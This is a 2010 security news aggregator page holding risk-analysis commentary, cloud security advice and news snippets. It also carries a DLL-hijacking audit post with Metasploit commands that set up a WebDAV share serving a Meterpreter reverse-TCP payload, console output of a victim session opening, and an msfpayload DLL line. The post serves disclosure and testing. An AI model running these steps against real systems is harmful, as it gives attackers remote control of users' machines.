Feed aggregator

LinuxSecurity.com: Cloud vendors are not doing enough to address the security of their services, according to 89% of the hackers and IT security experts polled at a recent hacking conference in Las Vegas.

Shared by Chris
hdmoore has added the WebDAV DLL Hijack exploit to Metasploit. Hundreds of applications are potentially affected. hdmoore has added the WebDAV DLL Hijack exploit to Metasploit. Hundreds of applications are potentially affected.

Every now and then I will find a security practitioner presenting the following formula when discussing information security risk analysis (ISRA).

Risks = Threats x Vulnerabilities x Impact

In some versions of this formula, the word “Consequence” is sometimes substituted for “Impact,” but the concept appears to be the same.

I want to argue that this equation, when taken literally as a mathematical formula, is nonsense and should be discarded.

As I argued in my last post, risk analysis, including ISRA,  has its roots in decision theory, especially expected value (or utility) theory. The expected value or utility of an action may be thought of as a weighted average. It can be calculated by defining a set of mutually exclusive and jointly exhaustive possible outcomes from a particular course of action, and then multiplying the probability of each possible outcome by its utility. The formula is very clear and mathematically rigorous. In contrast, the “Risk = Threats x Vulnerabilities x Impacts” formula is unclear at best and possibly mathematically incoherent at worst.
 
First, while the concepts of “threats” and “vulnerabilities” are clearly relevant to determining the probability of a possible outcome of an event, they are not equivalent to the probability of a possible outcome of an event. For example, I understand what it means to say that the threat is “unauthorized access to a company information system” and the vulnerability is “an unpatched vulnerability in an Internet-facing web server.” It is far from clear, however, how to literally plug in those concepts into a mathematical formula.  What are the units of measurement for threats and vulnerabilities? What would it mean, mathematically, to plug a number in for the “Threats” variable? If I say that a threat is 0.8, what does that mean? What is the range of possible values for “Threats”? Likewise, what is the range of possible values for “Vulnerabilities”? 

Second, the “Risk = Threats x Vulnerabilities x Impact” formula may actually violate the axioms of probability theory and the canons of inductive logic. In order to be inductively correct, a formal analysis of a risky action needs to take into account ALL of the potential outcomes of an action. The “Risk = Threats x Vulnerabilities x Impact” formula fails to do this by focusing solely on security threats. Indeed, the way the formula is presented, it appears to focus solely on a single security threat. In contrast, the logically correct expected value approach takes into account all of the possible outcomes of an action. For example, if the relevant action is “delay in patching a vulnerability in an Internet-facing web server,” one possible outcome is that the vulnerability is not exploited. The utility of that outcome would then be measured by whatever savings or efficiencies may be achieved by not patching, such as the value of the employee time that would have been spent patching the machine but wasn’t, or the value of advertising revenue generated by the web server that would have been lost due to downtime (for a server reboot) or wasn’t.

One reply to my argument is that the formula is not literally intended to be used as a mathematical formula; rather, the formula is just an informal way of stating that security risk is a function of threats, vulnerabilities, and potential impact. Fair enough, but why use a bogus formula? (I do believe risk can be modeled mathematically, but not using the “Risk = Threats x Vulnerabilities x Impacts” formula.) As an alternative, why not use “Risk = Function(Threats, Vulnerabilities, Impacts)” or something similar?  I’m willing to bet that anyone who can understand the first formula can also understand the second.

© BlogInfoSec.com, 2010. | Permalink | 6 comments | Add to del.icio.us
Post tags: decision theory, expected utility, expected value, featured, Risk Analysis

Feed enhanced by Better Feed from Ozh

LinuxSecurity.com: Tshark is actually part of the Wireshark package, and has some similar functionality. It does some cool stuff though so I thought it's worthy of its own post.

LinuxSecurity.com: Criminal organizations are calling on black market hackers-for-hire, where they can buy the tools and services they need to break into brokerage accounts, says a new report by Canada's crime watchdog.

LinuxSecurity.com: The Linux kernel has finally been purged of a privilege-escalation vulnerability that for at least half a decade allowed untrusted local users to gain unfettered rights to the operating system's most secure locations.

LinuxSecurity.com: OpenSSH 5.6 has just been released. It will be available from the mirrors listed at http://www.openssh.com/ shortly. OpenSSH is a 100% complete SSH protocol version 1.3, 1.5 and 2.0 implementation and includes sftp client and server support.

One of the most interesting challenges of working as Chief Information Security Officer in a utilit ...(more)...(author unknown)09674077382119598270

One of the most interesting challenges of working as Chief Information Security Officer in a utilit ...(more)...

This post describes the process for identifying and exploiting applications vulnerable to the DLL hijack vulnerability disclosed last week. For background information on this vulnerability, as well as remediation information, please see my post on the Rapid7 Blog.

Update: The audit kit has been rewritten, please ignore the instructions in this post and read this post for information on the new kit.

This vulnerability is triggered when a vulnerable file type is opened from within a directory controlled by the attacker. This directory can be a USB drive, an extracted archive, or a remote network share. In most cases, the user will have to browse to the directory and then open the target file type for this exploit to work. The file opened by the user can be completely harmless, the flaw is that the application launched to handle the file type will inadvertently load a DLL from the working directory.

In practice, this flaw can be exploited by sending the target user a link to a network share containing a file they perceive as safe. iTunes, which was affected by this flaw until last week, is associated with a number of media file types, and each of these would result in a specific DLL being loaded from the same directory as the opened file. The user would be presented with a link in the form of \\server\movies\ and a number of media files would be present in this directory. If the user tries to open any of these files, iTunes would search the remote directory for one or more DLLs and then load these DLLs into the process. If the attacker supplied a malicious DLL containing malware or shellcode, its game over for the user.

Earlier this year, Taeho Kwon and Zhendong Su of the University of California, Davis, published a paper titled Automatic Detection of Vulnerable Dynamic Component Loadings. This paper describes the different variants of DLL hijacking and Table IV of this paper contains list of vulnerable applications. They identified the exact same issues I ran into when working on the Windows Shortcut exploit, and although they omitted network shares as a vector, they did cover both carpet bombing and archive files. Kwon and Su developed a test harness to detect the vulnerable applications through instrumentation, however the associated code is not public at this time.

To determine the extent of the problem, I developed a quick and dirty audit kit that leverages the Process Monitor utility and the Ruby interpreter. This kit will turn a desktop PC into a game of whack-a-mole by launching the file handlers for every registered file type, while recording whether or not a DLL was accessed within the working directory of the associated file. After the audit phase is complete, the generate.rb script can be used to create test cases that will validate each result. Clicking through the test cases will lead to the Calculator being launched when the result is exploitable and nothing when it is not.

To use this kit, first grab a copy from this URL. Extract this into a directory on the system that you want to test. Next, grab a copy of Process Monitor (procmon.exe) and copy the procmon.exe binary into the DLLHijackAuditKit directory. Launch the Process Monitor, accept the EULA, and close it out. Next, install the Ruby interpreter into the target system. Download Ruby 1.9.1-p430 and install it normally. Finally, from the Start menu, launch the "Start Command Prompt with Ruby" link. From this shell, change into the DLLHijackAuditKit directory.

At this point, run "audit.bat" and get ready to close about a thousand pop-up windows. Every 50 file types, the script will pause until you hit enter within the command shell window. This process takes about 10-15 minutes depending on the speed of your system and the dexterity of your mousing arm. After each pass, make sure you close all open Windows except for the command shell itself and the ProcMon process. After the script finishes with all registered file extensions, you will need to export a CSV log from ProcMon. To do this:

1. Access the "Save" item from the File menu in ProcMon

2. Make sure the "Events displayed using current filter" box is checked

3. Make sure the "Include profiling events" box is unchecked

4. Make sure you choose "Comma-Separated Values" as the format

5. Save the log file into into DLLTest\results.csv

Next, we will generate a directory of proof-of-concept files for validating the results. From the Ruby command-shell, change into the DLLTest subdirectory and run "ruby generate.rb"

Finally, open Windows Explorer to the DLLTest\exploits subdirectory. A file called "exploit.[ext]" will be created for every potentially exploitable file type. Verify that no applications are running in the background and click each file type, closing the application before the next test. If the application is vulnerable, a Calculator window will appear.

Once you have a list of affected file extensions, you can use the generic exploit module within the Metasploit Framework to exploit these.

Install the latest version of the Metasploit Framework and perform an Online Update (msfupdate on Linux) to get revision 10065 or newer. Start the Metasploit Console as root and run the following commands. On Windows, the module requires you to enable a firewall for ports 139 and 445, otherwise the target will attempt to connect via SMB instead of WebDAV.

$ msfconsole
msf > use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set EXTENSIONS "ext1 ext2 ext3 ext4"
msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set LPORT 9999
msf exploit(webdav_dll_hijacker) > set LHOST (your IP address)
msf exploit(webdav_dll_hijacker) > exploit

[*] Started reverse handler on 192.168.0.226:4444
[*]
[*] Exploit links are now available at \\192.168.0.226\documents\
[*]
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.0.226:80/
[*] Server started.

Now that the exploit is running, send the vulnerable client to the network share listed. Once the user double-clicks a file from within this share, you should see a session appear in the Metasploit console:

[*] 192.168.0.184:1153 PROPFIND /DOCUMENTS/
[*] 192.168.0.184:1153 PROPFIND => 207 Directory (/DOCUMENTS/)
[*] 192.168.0.184:1153 PROPFIND => 207 Top-Level Directory
[*] 192.168.0.184:1151 PROPFIND /DOCUMENTS
[*] 192.168.0.184:1151 PROPFIND => 301 (/DOCUMENTS)
[*] 192.168.0.184:1151 PROPFIND /DOCUMENTS/
[*] 192.168.0.184:1151 PROPFIND => 207 Directory (/DOCUMENTS/)
[*] 192.168.0.184:1151 PROPFIND => 207 Top-Level Directory
[*] Meterpreter session 1 opened (192.168.0.226:4444 -> 192.168.0.184:1154)...

msf exploit(webdav_dll_hijacker) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WINXP\Developer

If you are trying to determine whether an application is exploitable or need to examine the DLL loading process in minute detail, use WinDbg with gflags to enable Loader Snapshots. After installing WinDbg, change to the installation directory from within a command shell and run "gflags /i NameOfTarget.exe +sls"

After the flags have been set, use WinDbg to launch the application, specifying the working directory and the file to actually open. The output within WinDbg will make it clear whether or not a particular DLL is being loaded and if so, whether the initialization function is actually being called. This is a great way to be absolutely sure that a particular application is or is not vulnerable. When you are finished, disable Loader Snapshots with "gflags /i NameOfTarget.exe -sls"

In addition to the standard DLL load, there are some interesting corner cases found by the audit kit, although they require manual review to identify.

1) If the application is trying to load a DLL that is normally found within the PATH, but not the Windows system directories, and the PATH contains environment variables that have not been set, then the literal value of the environment variable will be treated as sub-directory of the working directory (the share). For example, if %unknownvariable%\bin is in the system PATH, the share will be searched for a directory called “%unknownvariable%\bin” and the target DLL will be loaded from within this sub-directory.

2. If the application tries to load a DLL whose name consists of a NULL, it will search for a file named ".DLL". This is exploitable in most cases and affects at least one Microsoft product.

3. Some applications will actually load and run executables from the working directory. The audit kit generates test cases for these as well using a binary that launches the calculator.

4. Applications using certain windowing and plugin libraries will validate that the DLL in question has a certain exported symbol before loading it. This will become obvious when you see the "missing symbol" error message after opening the generated test case. These are almost always exploitable.

5. If the application loads a configuration file (INI or otherwise) from the working directory, this can also be exploitable. A few instances of this have already been uncovered, in one case where the DLL that loads the INI file is injected into unrelated applications, making them vulnerable as well.

6. Some applications will require the DLL to be signed. These applications only validate that the signature was authorized by a trusted code signing root and a $200 code signing key is all you need to exploit these.

7. In at least one instance, a .NET DLL is loaded with full privileges. A normal native DLL will be rejected, but a crafted .NET DLL can be used to exploit these types of applications.

One final note, the msfpayload utility in the Metasploit Framework can now be used to generate DLL payloads. A quick example of this is below:

msfpayload windows/exec CMD=calc.exe D > test.dll

Jhaddix wrote an interesting blog posting showing some tools that can be added to firefox to perfor ...(more)...

Niels Provos has done an excellent blog post on how to exploit CVE-2010-0188:An integer overfl ...(more)...

Amazon.com just published my five star review of IT Security Metrics by Lance Hayden. From the review:

I was not sure what to expect as I started reading IT Security Metrics (ISM). I had just discarded another new book, published in July 2010, supposedly about security metrics but really about nothing useful to anyone anchored in the operational IT world. Would ISM be another disappointment? Since Andrew Jaquith published Security Metrics in 2007, no other book had appeared to help security professionals measure their worlds. Thankfully, I can strongly recommend Lance Hayden's ISM as a very strong contributor to the discussion on security metrics. ISM's subtitle, "A Practical Framework for Measuring Security & Protecting Data," really does explain the purpose and value of this great new book.

TweetCopyright 2003-2010 Richard Bejtlich and TaoSecurity (taosecurity.blogspot.com and www.taosecurity.com)

Several readers have pointed us to an article about the preliminary report of the Spanair flight tha ...(more)...

Mike Dahn pinged me via Twitter with an interesting and challenging question:

I took this as a challenge in 5 minutes or less to articulate this in succinct, bulleted form.  I timed it. 4 minutes & 48 seconds. Loaded with snark and Hoffacino-fueled dogma.

Here goes:

1. Get an Amazon Web Services [or Rackspace or Terremark vCloud Express, etc.] account, instantiate a couple of instances as though you were deploying a web-based application with sensitive information that requires resilience, security, survivability and monitoring. If you have never done this and you’re in security spouting off about the insecurities of Cloud, STFU and don’t proceed to step 2 until you do.  These offerings put much of the burden on you to understand what needs to be done to secure Cloud-based services (OS, Apps, Data) which is why I focus on it. It’s also accessible and available to everyone.
   -
2. Take some time to be able to intelligently understand that as abstracted as much of Cloud is in terms of  the lack of exposed operational moving parts, you still need to grok architecture holistically in order to be able to secure it — and the things that matter most within it.  Building survivable systems, deploying securable (and as secure as you can make it) code, focusing on protecting information and ensuring you understand system design and The Three R’s (Resistance, Recognition, Recovery) is pretty darned important.  That means you have to understand how the Cloud provider actually works so when they don’t you’ll already have planned around that…
   -
3. Employ a well-developed risk assessment/management framework and perform threat modeling. See OCTAVE, STRIDE/DREAD, FAIR.  Understanding whether an application or datum is OK to move to “the Cloud” isn’t nuanced. It’s a simple application of basic, straightforward and prudent risk management. If you’re not doing that now, Cloud is the least of your problems. As I’ve said in the past “if your security sucks now, you’ll be pleasantly surprised by the lack of change when you move to Cloud.”
   -
4. Proceed to the Cloud Security Alliance website and download the guidance. Read it. Join one or more of the working groups and participate to make Cloud Security better in any way you believe you have the capacity to do so.  If you just crow about how “more secure” the Cloud is or how “horribly insecure by definition” it is, it’s clear you’ve not done steps 1-3. Skip 1-3, go to #5 and then return to #1.
   -
5. Use common sense.  There ain’t no patch for stupid.  Most of us inherently understand that this is a marathon and not a sprint. If you take steps 1-4 seriously you’re going to be able to logically have discussions and make decisions about what deployment models and providers suit your needs. Not everything will move to the Cloud (public, private or otherwise) but a lot of it can and should. Being able to layout a reasonable timeline is what moves the needle. Being an idealog on either side of the tarpit does nobody any good.  Arguing is for Twitter, doing is for people who matter.

Cloud is only rocket science if you’re NASA and using the Cloud for rocket science.  Else, for the rest of us, it’s an awesome platform upon which we leverage various opportunities to improve the way in which we think about and implement the practices and technology needed to secure the things that matter most to us.

/Hoff

(Yeah, I know. Not particularly novel or complex, right? Nope. That’s the point. Just like  ”How to Kick Ass in Information Security — Hoff’s Spritually-Enlightened Top Ten Guide to Health, Wealth and Happiness“)

Related articles by Zemanta

• Talking with George Reese about Cloud Security, CloudAudit, and enStratus (cloudofdata.com)
• The Security Hamster Sine Wave Of Pain: Public Cloud & The Return To Host-Based Protection… (rationalsurvivability.com)
• If You Could Have One Resource For Cloud Security… (rationalsurvivability.com)
• What You Can Do About Cloud Computing Security (deurainfosec.com)
• Hoff says SaaS Vendors Should Eat Their Own Dog Food. Is Security SaaS an Exception? (securecloudreview.com)
• The Classical DMZ Design Pattern: How To Kill Security In the Cloud (rationalsurvivability.com)
• Risk is not a Synonym for “Lack of Security” (devcentral.f5.com)
• CloudAudit Effort Gaining Momentum (securecloudreview.com)
• CLOUDINOMICON: Idempotent Infrastructure, Survivable Systems & Bringing Sexy Back to Information Centricity (rationalsurvivability.com)
• Incomplete Thought: The DevOps Disconnect (rationalsurvivability.com)
• Friday Cloud Poetry: “On the Bullshit That is False Cloud” (rationalsurvivability.com)

• Incomplete Thought: The DevOps Disconnect (rationalsurvivability.com)
• Friday Cloud Poetry: “On the Bullshit That is False Cloud” (rationalsurvivability.com)

100,000 log messages / second x 300 bytes / log message ~ 28.6 MB
      x 3600 seconds  ~ 100.6 GB / hour
            x 24 hours ~ 2.35 TB / day
                  x 365 days ~ 860.5 TB / year
                        x 3 years ~ 2.52 PB

Oops! Now you know what is a petabyte.
And, BTW, you also now what is a trillion – of log messages.About me: http://www.chuvakin.org anton@chuvakin.org (Anton Chuvakin)

LinuxSecurity.com: As many as five million webosites hosted by Network Solutions have been serving up malware, probably for several months, a security expert said today.

LinuxSecurity.com: The good news is that Web application vulnerabilities during the first two quarters of 2010 represent a smaller percentage (66%) of total commercial application vulnerabilities (4,019) than they did during the latter two quarters of 2009 (82% of 2652).

LinuxSecurity.com: Over the past 20 years, in small cities and communities across America, the average daily police record of reported crimes and complaints would hold a familiar, and fairly uniform, list of events - a drunk and disorderly, car prowling, garage break ins, and vandalism would usually fill the police blotters of places like Issaquah and Sammamish.